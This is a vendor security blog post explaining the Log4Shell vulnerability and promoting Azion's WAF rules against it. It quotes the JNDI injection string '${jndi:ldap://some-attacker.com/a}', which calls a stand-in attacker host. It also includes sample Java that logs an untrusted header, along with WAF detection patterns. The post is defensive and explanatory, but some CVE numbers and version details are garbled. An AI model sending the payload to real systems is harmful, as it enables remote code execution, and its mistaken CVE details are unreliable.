A Closer Look at Log4Shell and Azion’s Protections

Since the discovery of CVE-2021-44228 (also known as Log4Shell), Apache has released multiple patches to address vulnerabilities in its popular logging software Log4j. The speed with which this story has developed demonstrates how, even after a patching cycle, zero-day attacks pose a threat to security teams as cybercriminals are constantly searching for new attack vectors and workarounds for protections.

Given the severity of this threat, it’s crucial that security teams rely on robust solutions that not only protect known exploits, but new and emerging attacks as well. This blog post will take a look at how the Log4Shell exploit works and provide an in-depth discussion of how Azion’s WAF protects not only against CVE 2021-44228, but current variations and others that are sure to develop in the days and weeks to come.

What is CVE 2021-44228 and How Does It Work?

CVE 2021-44228 is an RCE vulnerability in log4j, a popular open-source logging tool that is widely used in Java applications, which allows attackers to load code from an external source and execute it on servers. The CVE affects version 2.0-beta-9 through 2.17.0 of Log4j. The initial patch, 2.15, was later discovered to be incomplete, resulting in the issuance of another critical vulnerability, CVE-2021-45056, that also detailed the threat of RCE in versions prior to 2.16 when used with certain non-default Log4j settings. It is recommended that all teams using Log4j update to the latest version (currently 2.17.1), as soon as possible, and watch for additional news on this emerging threat as Apache’s security team continues to investigate it.

Understanding the Attack

The vulnerability is the result of the “JDNILookup plugin,” which was added in Log4j version 2, and allows a Java program to locate data by interfacing with services like LDAP, DNS, and RMI. However, a default feature of Log4j called “Message Lookup Substitution” allows certain strings to be replaced, enabling attackers to perform RCE on the application that logged the string.

For example, an attacker could write a string like ${jndi:ldap://some-attacker.com/a} and add it to any input that is logged, such as User-Agent headers, which would prompt the vulnerable Log4j instance to make LDAP queries to the included URI. The LDAP server will then return the directory information including a Java class that is then loaded into memory and executed by the Log4j instance.

A more detailed code sample is provided below, as described in a highly-referenced walkthrough from the open-source security company Lunasec:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's x-api-version header and logs it back.
   * This is pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    String apiVersion = he.getRequestHeader("X-Api-Version");

    // This line triggers the RCE by logging the attacker-controlled HTTP header.
    // The attacker can set their X-Api-Version header to: ${jndi:ldap://some-attacker.com/a}
    log.info("Requested Api Version:{}", apiVersion);

    String response = "<h1>Hello from: " + apiVersion + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

CVE 2021-44228 vs. CVE 2021-45056

Version 2.15, the patch initially released by Apache to combat the Log4Shell exploit, disables access to JNDI by default in order to prevent remote connections in message lookup. However, it was later found that RCE was still possible in some environments if teams have manually enabled a specific logging configuration, formatMsgNoLookups. Apache explains this issue in further detail on the Log4j site:

When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments. (Apache)

In version 2.16, the message lookups feature has been completely removed, and Log4j now disables access to JNDI by default.

How Azion’s WAF Protects Against Log4Shell

To prevent this CVE 2021-44228, Azion’s security team implemented the default rule rx:jndi:dns\jndi:rmi\jndi:ldap to prevent JNDI lookup patterns that would allow attackers to exploit the different directory services (DNS, RMI, and LDAP) that JNDI interfaces with.

The other parameter is the “match zone,” where our WAF searches for the pattern and prevents SQL and RCE in the request body, request query parameters (query string), request header Cookie or User-Agent, or X-Api-Version, as seen below:

mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie|$HEADERS_VAR:User-Agent|$HEADERS_VAR:X-Api-Version

Although HTTP headers seem to be the most common location for inserting strings, attackers will almost certainly move beyond common attack vectors to evade blocking as organizations harden their protections. Checking for strings in each of these match zones ensures that our WAF can stop attackers looking to exploit new strings and attack vectors.

Azion’s rule went into effect on Saturday, Dec 11, 2021, 8:40 PM PST (UTC-8), and it protects all Azion customers who have WAF enabled and in Blocking mode. This rule also protects customers against CVE 2021-45056 if RFI (Remote File Inclusion) is enabled at any sensitivity level. For detailed instructions on how to implement this rule, you can view our previous blog post on this topic.

For a bird’s eye view on how Azion’s WAF is protecting your application, Azion customers can navigate to the WAF tab in our Real-Time Metrics dashboard to see the number of total requests vs. those blocked, which rule triggered the blocking, and where it occurred. Additionally, they can gain a deep view into specific requests with our complex query engine, Real-Time Events.

Protecting Against Variants

As shown above, an effective WAF can protect companies against RCE, RFI, and other web application attacks, but not all WAFs are created equal. Traditionally, WAFs block attacks by comparing requests against attack signatures of known attack patterns. If the patterns match the new request, the WAF can either filter out the request or generate an alert. However, this type of protection only covers known attack patterns, and not new and harder to detect variants.

In order to keep up with these variants, signature-based WAFs must be constantly updated with new signatures to maintain their effectiveness. As more and more signatures are added, the time and resources needed to filter requests increases, resulting in diminished performance and increased costs. Furthermore, each new signature only protects against known attack methods, leaving signature-based WAFs vulnerable to zero-day threats as attackers explore new attack vectors and find workarounds for common WAF rules.

Azion’s WAF provides superior performance and security to signature-based WAFs by using a scoring-based method that analyzes the syntax of different attack patterns and condenses them into lean, performant rule sets for different classes of attacks, such as SQL, RFI, and Directory Traversal. For example, users who enable RFI activate a rule set that assigns a score to different criteria that are common in RFI payload. Normally, criteria such as the following found in Body, Query String, or Cookies would all increase a request’s score:

• http://
• ftp://
• php://

If a request scores above a certain threshold–which our WAF customers can adjust to meet their desired sensitivity–Azion’s WAF will automatically block the request. With CVE 2021-45056, the addition of JDNI lookup patterns to this attack category means that any attempt to use jndi:dns, jndi:rmi or jndi:ldap would put the request over the threshold, providing the same protection for CVE 2021-45056 as CVE 2021-22448.

In this case and many others, our scoring-based WAF enables Azion to proactively block variations on attack patterns before they have been acknowledged by the threat research community, providing more robust protection against developing threats than signature-based WAFs can offer.

Conclusion

Log4Shell is a critical, widespread threat that will likely wreak havoc on security systems for quite some time. To stay secure, teams should follow the CISA’s recommendation to install a WAF with rules that automatically update and their guidelines for identifying and mitigating vulnerable assets. And with Azion’s WAF, which uses scoring-based protection that filters requests at the edge, organizations can gain more performant and robust protection against these critical threats.